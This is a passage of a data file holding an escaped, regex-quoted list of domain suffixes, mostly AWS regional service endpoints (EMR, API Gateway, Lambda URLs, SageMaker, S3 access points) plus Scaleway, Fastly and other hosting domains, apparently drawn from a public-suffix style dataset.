\-dev\\\\.net\",\"chtr\\\\.k12\\\\.ma\\\\.us\",\"cockpit\\\\.fr\\\\-par\\\\.scw\\\\.cloud\",\"cockpit\\\\.nl\\\\-ams\\\\.scw\\\\.cloud\",\"cockpit\\\\.pl\\\\-waw\\\\.scw\\\\.cloud\",\"cust\\\\.dev\\\\.thingdust\\\\.io\",\"cust\\\\.disrec\\\\.thingdust\\\\.io\",\"cust\\\\.prod\\\\.thingdust\\\\.io\",\"cust\\\\.retrosnub\\\\.co\\\\.uk\",\"cust\\\\.testing\\\\.thingdust\\\\.io\",\"ddl\\\\.fr\\\\-par\\\\.scw\\\\.cloud\",\"ddl\\\\.nl\\\\-ams\\\\.scw\\\\.cloud\",\"ddl\\\\.pl\\\\-waw\\\\.scw\\\\.cloud\",\"dtwh\\\\.fr\\\\-par\\\\.scw\\\\.cloud\",\"dtwh\\\\.nl\\\\-ams\\\\.scw\\\\.cloud\",\"dtwh\\\\.pl\\\\-waw\\\\.scw\\\\.cloud\",\"emrappui\\\\-prod\\\\.af\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"emrappui\\\\-prod\\\\.ap\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"emrappui\\\\-prod\\\\.ap\\\\-northeast\\\\-1\\\\.amazonaws\\\\.com\",\"emrappui\\\\-prod\\\\.ap\\\\-northeast\\\\-2\\\\.amazonaws\\\\.com\",\"emrappui\\\\-prod\\\\.ap\\\\-northeast\\\\-3\\\\.amazonaws\\\\.com\",\"emrappui\\\\-prod\\\\.ap\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"emrappui\\\\-prod\\\\.ap\\\\-south\\\\-2\\\\.amazonaws\\\\.com\",\"emrappui\\\\-prod\\\\.ap\\\\-southeast\\\\-1\\\\.amazonaws\\\\.com\",\"emrappui\\\\-prod\\\\.ap\\\\-southeast\\\\-2\\\\.amazonaws\\\\.com\",\"emrappui\\\\-prod\\\\.ap\\\\-southeast\\\\-3\\\\.amazonaws\\\\.com\",\"emrappui\\\\-prod\\\\.ap\\\\-southeast\\\\-4\\\\.amazonaws\\\\.com\",\"emrappui\\\\-prod\\\\.ca\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"emrappui\\\\-prod\\\\.ca\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"emrappui\\\\-prod\\\\.eu\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"emrappui\\\\-prod\\\\.eu\\\\-central\\\\-2\\\\.amazonaws\\\\.com\",\"emrappui\\\\-prod\\\\.eu\\\\-north\\\\-1\\\\.amazonaws\\\\.com\",\"emrappui\\\\-prod\\\\.eu\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"emrappui\\\\-prod\\\\.eu\\\\-south\\\\-2\\\\.amazonaws\\\\.com\",\"emrappui\\\\-prod\\\\.eu\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"emrappui\\\\-prod\\\\.eu\\\\-west\\\\-2\\\\.amazonaws\\\\.com\",\"emrappui\\\\-prod\\\\.eu\\\\-west\\\\-3\\\\.amazonaws\\\\.com\",\"emrappui\\\\-prod\\\\.il\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"emrappui\\\\-prod\\\\.me\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"emrappui\\\\-prod\\\\.me\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"emrappui\\\\-prod\\\\.sa\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"emrappui\\\\-prod\\\\.us\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"emrappui\\\\-prod\\\\.us\\\\-east\\\\-2\\\\.amazonaws\\\\.com\",\"emrappui\\\\-prod\\\\.us\\\\-gov\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"emrappui\\\\-prod\\\\.us\\\\-gov\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"emrappui\\\\-prod\\\\.us\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"emrappui\\\\-prod\\\\.us\\\\-west\\\\-2\\\\.amazonaws\\\\.com\",\"emrnotebooks\\\\-prod\\\\.af\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"emrnotebooks\\\\-prod\\\\.ap\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"emrnotebooks\\\\-prod\\\\.ap\\\\-northeast\\\\-1\\\\.amazonaws\\\\.com\",\"emrnotebooks\\\\-prod\\\\.ap\\\\-northeast\\\\-2\\\\.amazonaws\\\\.com\",\"emrnotebooks\\\\-prod\\\\.ap\\\\-northeast\\\\-3\\\\.amazonaws\\\\.com\",\"emrnotebooks\\\\-prod\\\\.ap\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"emrnotebooks\\\\-prod\\\\.ap\\\\-south\\\\-2\\\\.amazonaws\\\\.com\",\"emrnotebooks\\\\-prod\\\\.ap\\\\-southeast\\\\-1\\\\.amazonaws\\\\.com\",\"emrnotebooks\\\\-prod\\\\.ap\\\\-southeast\\\\-2\\\\.amazonaws\\\\.com\",\"emrnotebooks\\\\-prod\\\\.ap\\\\-southeast\\\\-3\\\\.amazonaws\\\\.com\",\"emrnotebooks\\\\-prod\\\\.ap\\\\-southeast\\\\-4\\\\.amazonaws\\\\.com\",\"emrnotebooks\\\\-prod\\\\.ca\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"emrnotebooks\\\\-prod\\\\.ca\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"emrnotebooks\\\\-prod\\\\.eu\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"emrnotebooks\\\\-prod\\\\.eu\\\\-central\\\\-2\\\\.amazonaws\\\\.com\",\"emrnotebooks\\\\-prod\\\\.eu\\\\-north\\\\-1\\\\.amazonaws\\\\.com\",\"emrnotebooks\\\\-prod\\\\.eu\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"emrnotebooks\\\\-prod\\\\.eu\\\\-south\\\\-2\\\\.amazonaws\\\\.com\",\"emrnotebooks\\\\-prod\\\\.eu\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"emrnotebooks\\\\-prod\\\\.eu\\\\-west\\\\-2\\\\.amazonaws\\\\.com\",\"emrnotebooks\\\\-prod\\\\.eu\\\\-west\\\\-3\\\\.amazonaws\\\\.com\",\"emrnotebooks\\\\-prod\\\\.il\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"emrnotebooks\\\\-prod\\\\.me\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"emrnotebooks\\\\-prod\\\\.me\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"emrnotebooks\\\\-prod\\\\.sa\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"emrnotebooks\\\\-prod\\\\.us\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"emrnotebooks\\\\-prod\\\\.us\\\\-east\\\\-2\\\\.amazonaws\\\\.com\",\"emrnotebooks\\\\-prod\\\\.us\\\\-gov\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"emrnotebooks\\\\-prod\\\\.us\\\\-gov\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"emrnotebooks\\\\-prod\\\\.us\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"emrnotebooks\\\\-prod\\\\.us\\\\-west\\\\-2\\\\.amazonaws\\\\.com\",\"emrstudio\\\\-prod\\\\.af\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"emrstudio\\\\-prod\\\\.ap\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"emrstudio\\\\-prod\\\\.ap\\\\-northeast\\\\-1\\\\.amazonaws\\\\.com\",\"emrstudio\\\\-prod\\\\.ap\\\\-northeast\\\\-2\\\\.amazonaws\\\\.com\",\"emrstudio\\\\-prod\\\\.ap\\\\-northeast\\\\-3\\\\.amazonaws\\\\.com\",\"emrstudio\\\\-prod\\\\.ap\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"emrstudio\\\\-prod\\\\.ap\\\\-south\\\\-2\\\\.amazonaws\\\\.com\",\"emrstudio\\\\-prod\\\\.ap\\\\-southeast\\\\-1\\\\.amazonaws\\\\.com\",\"emrstudio\\\\-prod\\\\.ap\\\\-southeast\\\\-2\\\\.amazonaws\\\\.com\",\"emrstudio\\\\-prod\\\\.ap\\\\-southeast\\\\-3\\\\.amazonaws\\\\.com\",\"emrstudio\\\\-prod\\\\.ap\\\\-southeast\\\\-4\\\\.amazonaws\\\\.com\",\"emrstudio\\\\-prod\\\\.ca\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"emrstudio\\\\-prod\\\\.ca\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"emrstudio\\\\-prod\\\\.eu\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"emrstudio\\\\-prod\\\\.eu\\\\-central\\\\-2\\\\.amazonaws\\\\.com\",\"emrstudio\\\\-prod\\\\.eu\\\\-north\\\\-1\\\\.amazonaws\\\\.com\",\"emrstudio\\\\-prod\\\\.eu\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"emrstudio\\\\-prod\\\\.eu\\\\-south\\\\-2\\\\.amazonaws\\\\.com\",\"emrstudio\\\\-prod\\\\.eu\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"emrstudio\\\\-prod\\\\.eu\\\\-west\\\\-2\\\\.amazonaws\\\\.com\",\"emrstudio\\\\-prod\\\\.eu\\\\-west\\\\-3\\\\.amazonaws\\\\.com\",\"emrstudio\\\\-prod\\\\.il\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"emrstudio\\\\-prod\\\\.me\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"emrstudio\\\\-prod\\\\.me\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"emrstudio\\\\-prod\\\\.sa\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"emrstudio\\\\-prod\\\\.us\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"emrstudio\\\\-prod\\\\.us\\\\-east\\\\-2\\\\.amazonaws\\\\.com\",\"emrstudio\\\\-prod\\\\.us\\\\-gov\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"emrstudio\\\\-prod\\\\.us\\\\-gov\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"emrstudio\\\\-prod\\\\.us\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"emrstudio\\\\-prod\\\\.us\\\\-west\\\\-2\\\\.amazonaws\\\\.com\",\"execute\\\\-api\\\\.af\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"execute\\\\-api\\\\.ap\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"execute\\\\-api\\\\.ap\\\\-northeast\\\\-1\\\\.amazonaws\\\\.com\",\"execute\\\\-api\\\\.ap\\\\-northeast\\\\-2\\\\.amazonaws\\\\.com\",\"execute\\\\-api\\\\.ap\\\\-northeast\\\\-3\\\\.amazonaws\\\\.com\",\"execute\\\\-api\\\\.ap\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"execute\\\\-api\\\\.ap\\\\-south\\\\-2\\\\.amazonaws\\\\.com\",\"execute\\\\-api\\\\.ap\\\\-southeast\\\\-1\\\\.amazonaws\\\\.com\",\"execute\\\\-api\\\\.ap\\\\-southeast\\\\-2\\\\.amazonaws\\\\.com\",\"execute\\\\-api\\\\.ap\\\\-southeast\\\\-3\\\\.amazonaws\\\\.com\",\"execute\\\\-api\\\\.ap\\\\-southeast\\\\-4\\\\.amazonaws\\\\.com\",\"execute\\\\-api\\\\.ap\\\\-southeast\\\\-5\\\\.amazonaws\\\\.com\",\"execute\\\\-api\\\\.ca\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"execute\\\\-api\\\\.ca\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"execute\\\\-api\\\\.eu\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"execute\\\\-api\\\\.eu\\\\-central\\\\-2\\\\.amazonaws\\\\.com\",\"execute\\\\-api\\\\.eu\\\\-north\\\\-1\\\\.amazonaws\\\\.com\",\"execute\\\\-api\\\\.eu\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"execute\\\\-api\\\\.eu\\\\-south\\\\-2\\\\.amazonaws\\\\.com\",\"execute\\\\-api\\\\.eu\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"execute\\\\-api\\\\.eu\\\\-west\\\\-2\\\\.amazonaws\\\\.com\",\"execute\\\\-api\\\\.eu\\\\-west\\\\-3\\\\.amazonaws\\\\.com\",\"execute\\\\-api\\\\.il\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"execute\\\\-api\\\\.me\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"execute\\\\-api\\\\.me\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"execute\\\\-api\\\\.sa\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"execute\\\\-api\\\\.us\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"execute\\\\-api\\\\.us\\\\-east\\\\-2\\\\.amazonaws\\\\.com\",\"execute\\\\-api\\\\.us\\\\-gov\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"execute\\\\-api\\\\.us\\\\-gov\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"execute\\\\-api\\\\.us\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"execute\\\\-api\\\\.us\\\\-west\\\\-2\\\\.amazonaws\\\\.com\",\"file\\\\.core\\\\.usgovcloudapi\\\\.net\",\"file\\\\.core\\\\.windows\\\\.net\",\"flt\\\\.cloud\\\\.muni\\\\.cz\",\"fnc\\\\.fr\\\\-par\\\\.scw\\\\.cloud\",\"fr\\\\-1\\\\.paas\\\\.massivegrid\\\\.net\",\"fr\\\\-par\\\\-1\\\\.baremetal\\\\.scw\\\\.cloud\",\"fr\\\\-par\\\\-2\\\\.baremetal\\\\.scw\\\\.cloud\",\"global\\\\.prod\\\\.fastly\\\\.net\",\"global\\\\.ssl\\\\.fastly\\\\.net\",\"ifr\\\\.fr\\\\-par\\\\.scw\\\\.cloud\",\"ifr\\\\.nl\\\\-ams\\\\.scw\\\\.cloud\",\"ifr\\\\.pl\\\\-waw\\\\.scw\\\\.cloud\",\"io\\\\.noc\\\\.ruhr\\\\-uni\\\\-bochum\\\\.de\",\"j\\\\.layershift\\\\.co\\\\.uk\",\"j\\\\.scaleforce\\\\.com\\\\.cy\",\"k8s\\\\.fr\\\\-par\\\\.scw\\\\.cloud\",\"k8s\\\\.nl\\\\-ams\\\\.scw\\\\.cloud\",\"k8s\\\\.pl\\\\-waw\\\\.scw\\\\.cloud\",\"kafk\\\\.fr\\\\-par\\\\.scw\\\\.cloud\",\"kafk\\\\.nl\\\\-ams\\\\.scw\\\\.cloud\",\"kafk\\\\.pl\\\\-waw\\\\.scw\\\\.cloud\",\"labeling\\\\.ap\\\\-northeast\\\\-1\\\\.sagemaker\\\\.aws\",\"labeling\\\\.ap\\\\-northeast\\\\-2\\\\.sagemaker\\\\.aws\",\"labeling\\\\.ap\\\\-south\\\\-1\\\\.sagemaker\\\\.aws\",\"labeling\\\\.ap\\\\-southeast\\\\-1\\\\.sagemaker\\\\.aws\",\"labeling\\\\.ap\\\\-southeast\\\\-2\\\\.sagemaker\\\\.aws\",\"labeling\\\\.ca\\\\-central\\\\-1\\\\.sagemaker\\\\.aws\",\"labeling\\\\.eu\\\\-central\\\\-1\\\\.sagemaker\\\\.aws\",\"labeling\\\\.eu\\\\-west\\\\-1\\\\.sagemaker\\\\.aws\",\"labeling\\\\.eu\\\\-west\\\\-2\\\\.sagemaker\\\\.aws\",\"labeling\\\\.us\\\\-east\\\\-1\\\\.sagemaker\\\\.aws\",\"labeling\\\\.us\\\\-east\\\\-2\\\\.sagemaker\\\\.aws\",\"labeling\\\\.us\\\\-west\\\\-2\\\\.sagemaker\\\\.aws\",\"lambda\\\\-url\\\\.af\\\\-south\\\\-1\\\\.on\\\\.aws\",\"lambda\\\\-url\\\\.ap\\\\-east\\\\-1\\\\.on\\\\.aws\",\"lambda\\\\-url\\\\.ap\\\\-northeast\\\\-1\\\\.on\\\\.aws\",\"lambda\\\\-url\\\\.ap\\\\-northeast\\\\-2\\\\.on\\\\.aws\",\"lambda\\\\-url\\\\.ap\\\\-northeast\\\\-3\\\\.on\\\\.aws\",\"lambda\\\\-url\\\\.ap\\\\-south\\\\-1\\\\.on\\\\.aws\",\"lambda\\\\-url\\\\.ap\\\\-southeast\\\\-1\\\\.on\\\\.aws\",\"lambda\\\\-url\\\\.ap\\\\-southeast\\\\-2\\\\.on\\\\.aws\",\"lambda\\\\-url\\\\.ap\\\\-southeast\\\\-3\\\\.on\\\\.aws\",\"lambda\\\\-url\\\\.ca\\\\-central\\\\-1\\\\.on\\\\.aws\",\"lambda\\\\-url\\\\.eu\\\\-central\\\\-1\\\\.on\\\\.aws\",\"lambda\\\\-url\\\\.eu\\\\-north\\\\-1\\\\.on\\\\.aws\",\"lambda\\\\-url\\\\.eu\\\\-south\\\\-1\\\\.on\\\\.aws\",\"lambda\\\\-url\\\\.eu\\\\-west\\\\-1\\\\.on\\\\.aws\",\"lambda\\\\-url\\\\.eu\\\\-west\\\\-2\\\\.on\\\\.aws\",\"lambda\\\\-url\\\\.eu\\\\-west\\\\-3\\\\.on\\\\.aws\",\"lambda\\\\-url\\\\.me\\\\-south\\\\-1\\\\.on\\\\.aws\",\"lambda\\\\-url\\\\.sa\\\\-east\\\\-1\\\\.on\\\\.aws\",\"lambda\\\\-url\\\\.us\\\\-east\\\\-1\\\\.on\\\\.aws\",\"lambda\\\\-url\\\\.us\\\\-east\\\\-2\\\\.on\\\\.aws\",\"lambda\\\\-url\\\\.us\\\\-west\\\\-1\\\\.on\\\\.aws\",\"lambda\\\\-url\\\\.us\\\\-west\\\\-2\\\\.on\\\\.aws\",\"lb\\\\.ru\\\\-msk\\\\.k2\\\\.cloud\",\"lb\\\\.ru\\\\-spb\\\\.k2\\\\.cloud\",\"lon\\\\-1\\\\.paas\\\\.massivegrid\\\\.net\",\"lon\\\\-2\\\\.paas\\\\.massivegrid\\\\.net\",\"mel\\\\.cloudlets\\\\.com\\\\.au\",\"mgdb\\\\.fr\\\\-par\\\\.scw\\\\.cloud\",\"mgdb\\\\.nl\\\\-ams\\\\.scw\\\\.cloud\",\"mgdb\\\\.pl\\\\-waw\\\\.scw\\\\.cloud\",\"njs\\\\.jelastic\\\\.vps\\\\-host\\\\.net\",\"nl\\\\-ams\\\\-1\\\\.baremetal\\\\.scw\\\\.cloud\",\"notebook\\\\-fips\\\\.ca\\\\-central\\\\-1\\\\.sagemaker\\\\.aws\",\"notebook\\\\-fips\\\\.ca\\\\-west\\\\-1\\\\.sagemaker\\\\.aws\",\"notebook\\\\-fips\\\\.us\\\\-east\\\\-1\\\\.sagemaker\\\\.aws\",\"notebook\\\\-fips\\\\.us\\\\-east\\\\-2\\\\.sagemaker\\\\.aws\",\"notebook\\\\-fips\\\\.us\\\\-gov\\\\-east\\\\-1\\\\.sagemaker\\\\.aws\",\"notebook\\\\-fips\\\\.us\\\\-gov\\\\-west\\\\-1\\\\.sagemaker\\\\.aws\",\"notebook\\\\-fips\\\\.us\\\\-west\\\\-1\\\\.sagemaker\\\\.aws\",\"notebook\\\\-fips\\\\.us\\\\-west\\\\-2\\\\.sagemaker\\\\.aws\",\"notebook\\\\.af\\\\-south\\\\-1\\\\.sagemaker\\\\.aws\",\"notebook\\\\.ap\\\\-east\\\\-1\\\\.sagemaker\\\\.aws\",\"notebook\\\\.ap\\\\-northeast\\\\-1\\\\.sagemaker\\\\.aws\",\"notebook\\\\.ap\\\\-northeast\\\\-2\\\\.sagemaker\\\\.aws\",\"notebook\\\\.ap\\\\-northeast\\\\-3\\\\.sagemaker\\\\.aws\",\"notebook\\\\.ap\\\\-south\\\\-1\\\\.sagemaker\\\\.aws\",\"notebook\\\\.ap\\\\-south\\\\-2\\\\.sagemaker\\\\.aws\",\"notebook\\\\.ap\\\\-southeast\\\\-1\\\\.sagemaker\\\\.aws\",\"notebook\\\\.ap\\\\-southeast\\\\-2\\\\.sagemaker\\\\.aws\",\"notebook\\\\.ap\\\\-southeast\\\\-3\\\\.sagemaker\\\\.aws\",\"notebook\\\\.ap\\\\-southeast\\\\-4\\\\.sagemaker\\\\.aws\",\"notebook\\\\.ca\\\\-central\\\\-1\\\\.sagemaker\\\\.aws\",\"notebook\\\\.ca\\\\-west\\\\-1\\\\.sagemaker\\\\.aws\",\"notebook\\\\.eu\\\\-central\\\\-1\\\\.sagemaker\\\\.aws\",\"notebook\\\\.eu\\\\-central\\\\-2\\\\.sagemaker\\\\.aws\",\"notebook\\\\.eu\\\\-north\\\\-1\\\\.sagemaker\\\\.aws\",\"notebook\\\\.eu\\\\-south\\\\-1\\\\.sagemaker\\\\.aws\",\"notebook\\\\.eu\\\\-south\\\\-2\\\\.sagemaker\\\\.aws\",\"notebook\\\\.eu\\\\-west\\\\-1\\\\.sagemaker\\\\.aws\",\"notebook\\\\.eu\\\\-west\\\\-2\\\\.sagemaker\\\\.aws\",\"notebook\\\\.eu\\\\-west\\\\-3\\\\.sagemaker\\\\.aws\",\"notebook\\\\.il\\\\-central\\\\-1\\\\.sagemaker\\\\.aws\",\"notebook\\\\.me\\\\-central\\\\-1\\\\.sagemaker\\\\.aws\",\"notebook\\\\.me\\\\-south\\\\-1\\\\.sagemaker\\\\.aws\",\"notebook\\\\.sa\\\\-east\\\\-1\\\\.sagemaker\\\\.aws\",\"notebook\\\\.us\\\\-east\\\\-1\\\\.sagemaker\\\\.aws\",\"notebook\\\\.us\\\\-east\\\\-2\\\\.sagemaker\\\\.aws\",\"notebook\\\\.us\\\\-gov\\\\-east\\\\-1\\\\.sagemaker\\\\.aws\",\"notebook\\\\.us\\\\-gov\\\\-west\\\\-1\\\\.sagemaker\\\\.aws\",\"notebook\\\\.us\\\\-west\\\\-1\\\\.sagemaker\\\\.aws\",\"notebook\\\\.us\\\\-west\\\\-2\\\\.sagemaker\\\\.aws\",\"ny\\\\-1\\\\.paas\\\\.massivegrid\\\\.net\",\"ny\\\\-2\\\\.paas\\\\.massivegrid\\\\.net\",\"o365\\\\.cloud\\\\.nospamproxy\\\\.com\",\"objects\\\\.lpg\\\\.cloudscale\\\\.ch\",\"objects\\\\.rma\\\\.cloudscale\\\\.ch\",\"on\\\\.staging\\\\.expo\\\\.app\",\"pages\\\\-research\\\\.it\\\\.hs\\\\-heilbronn\\\\.de\",\"pages\\\\.it\\\\.hs\\\\-heilbronn\\\\.de\",\"paroch\\\\.k12\\\\.ma\\\\.us\",\"priv\\\\.instances\\\\.scw\\\\.cloud\",\"pub\\\\.instances\\\\.scw\\\\.cloud\",\"pvt\\\\.k12\\\\.ma\\\\.us\",\"rdb\\\\.fr\\\\-par\\\\.scw\\\\.cloud\",\"rdb\\\\.nl\\\\-ams\\\\.scw\\\\.cloud\",\"rdb\\\\.pl\\\\-waw\\\\.scw\\\\.cloud\",\"reservd\\\\.dev\\\\.thingdust\\\\.io\",\"reservd\\\\.disrec\\\\.thingdust\\\\.io\",\"reservd\\\\.testing\\\\.thingdust\\\\.io\",\"ric\\\\.jelastic\\\\.vps\\\\-host\\\\.net\",\"s3\\\\-accesspoint\\\\-fips\\\\.ca\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\-fips\\\\.ca\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\-fips\\\\.us\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\-fips\\\\.us\\\\-east\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\-fips\\\\.us\\\\-gov\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\-fips\\\\.us\\\\-gov\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\-fips\\\\.us\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\-fips\\\\.us\\\\-west\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.af\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.ap\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.ap\\\\-northeast\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.ap\\\\-northeast\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.ap\\\\-northeast\\\\-3\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.ap\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.ap\\\\-south\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.ap\\\\-southeast\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.ap\\\\-southeast\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.ap\\\\-southeast\\\\-3\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.ap\\\\-southeast\\\\-4\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.ap\\\\-southeast\\\\-5\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.ca\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.ca\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.eu\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.eu\\\\-central\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.eu\\\\-north\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.eu\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.eu\\\\-south\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.eu\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.eu\\\\-west\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.eu\\\\-west\\\\-3\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.il\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.me\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.me\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.sa\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.us\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.us\\\\-east\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.us\\\\-gov\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.us\\\\-gov\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.us\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.us\\\\-west\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-deprecated\\\\.ap\\\\-southeast\\\\-5\\\\.amazonaws\\\\.com\",\"s3\\\\-deprecated\\\\.eu\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-deprecated\\\\.us\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-deprecated\\\\.us\\\\-east\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-deprecated\\\\.us\\\\-west\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-fips\\\\.ca\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-fips\\\\.ca\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-fips\\\\.us\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-fips\\\\.us\\\\-east\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-fips\\\\.us\\\\-gov\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-fips\\\\.us\\\\-gov\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-fips\\\\.us\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-fips\\\\.us\\\\-west\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-object\\\\-lambda\\\\.af\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-object\\\\-lambda\\\\.ap\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-object\\\\-lambda\\\\.ap\\\\-northeast\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-object\\\\-lambda\\\\.ap\\\\-northeast\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-object\\\\-lambda\\\\.ap\\\\-northeast\\\\-3\\\\.amazonaws\\\\.com\",\"s3\\\\-object\\\\-lambda\\\\.ap\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-object\\\\-lambda\\\\.ap\\\\-south\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-object\\\\-lambda\\\\.ap\\\\-southeast\\\\-1\\\\.ama